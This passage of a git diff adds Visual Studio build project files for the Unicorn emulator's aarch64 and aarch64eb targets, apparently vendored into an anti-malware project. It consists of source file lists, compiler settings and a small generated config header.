Include="..\..\..\qemu\target-arm\helper-a64.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\iwmmxt_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\neon_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\op_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\psci.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\translate-a64.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\translate.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\unicorn_aarch64.c" /> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c" /> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{2A7F483F-CD19-4F84-BBDA-B6A1865E2773}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>aarch64softmmu</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>aarch64.h</ForcedIncludeFiles> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>aarch64.h</ForcedIncludeFiles> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>aarch64.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>aarch64.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64-softmmu/aarch64-softmmu.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64-softmmu/aarch64-softmmu.vcxproj.filters new file mode 100644 index 0000000..8467aec --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64-softmmu/aarch64-softmmu.vcxproj.filters @@ -0,0 +1,149 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="fpu"> + <UniqueIdentifier>{8a7d2815-3656-4ae7-8eb2-d38da6e8d480}</UniqueIdentifier> + </Filter> + <Filter Include="hw"> + <UniqueIdentifier>{9a7f2b42-3f31-4731-84e2-38f535304a1d}</UniqueIdentifier> + </Filter> + <Filter Include="hw\arm"> + <UniqueIdentifier>{c74d3c4d-1f19-42c6-bf25-26820a53ac11}</UniqueIdentifier> + </Filter> + <Filter Include="target-arm"> + <UniqueIdentifier>{0e231806-86e4-4e05-8ef8-3e3d36860b00}</UniqueIdentifier> + </Filter> + <Filter Include="tcg"> + <UniqueIdentifier>{ca50b33c-f5ce-4975-a702-c607bb2fc604}</UniqueIdentifier> + </Filter> + <Filter Include="tcg\i386"> + <UniqueIdentifier>{1db81436-53cf-4cb6-a474-e76327883bd2}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\arm_ldst.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\cpu-qom.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\cpu.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\helper-a64.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\helper.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\internals.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\kvm-consts.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\op_addsub.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\translate.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\unicorn.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h"> + <Filter>tcg\i386</Filter> + </ClInclude> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + <ClInclude Include="..\..\..\qemu\aarch64.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c"> + <Filter>fpu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\arm\tosa.c"> + <Filter>hw\arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\arm\virt.c"> + <Filter>hw\arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\cpu.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\cpu64.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\crypto_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\helper-a64.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\iwmmxt_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\neon_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\op_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\psci.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\translate-a64.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\translate.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\unicorn_aarch64.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <Filter>tcg\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64-softmmu/config-target.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64-softmmu/config-target.h new file mode 100644 index 0000000..6c82c70 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64-softmmu/config-target.h @@ -0,0 +1,5 @@ +/* Automatically generated by create_config - do not modify */ +#define TARGET_AARCH64 1 +#define TARGET_NAME "aarch64" +#define TARGET_ARM 1 +#define CONFIG_SOFTMMU 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64eb-softmmu/aarch64eb-softmmu.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64eb-softmmu/aarch64eb-softmmu.vcxproj new file mode 100644 index 0000000..41d625f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64eb-softmmu/aarch64eb-softmmu.vcxproj @@ -0,0 +1,239 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h" /> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\arm_ldst.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\cpu-qom.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\cpu.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\helper-a64.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\helper.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\internals.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\kvm-consts.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\op_addsub.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\translate.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\unicorn.h" /> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h" /> + <ClInclude Include="..\..\..\qemu\aarch64eb.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c" /> + <ClCompile Include="..\..\..\qemu\hw\arm\tosa.c" /> + <ClCompile Include="..\..\..\qemu\hw\arm\virt.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\cpu.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\cpu64.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\crypto_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\helper-a64.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\iwmmxt_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\neon_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\op_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\psci.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\translate-a64.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\translate.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\unicorn_aarch64.c" /> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c" /> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{340D86A5-E53C-490B-880A-8EB1F5BDE947}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>aarch64ebsoftmmu</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>aarch64eb.h</ForcedIncludeFiles> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>aarch64eb.h</ForcedIncludeFiles> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + 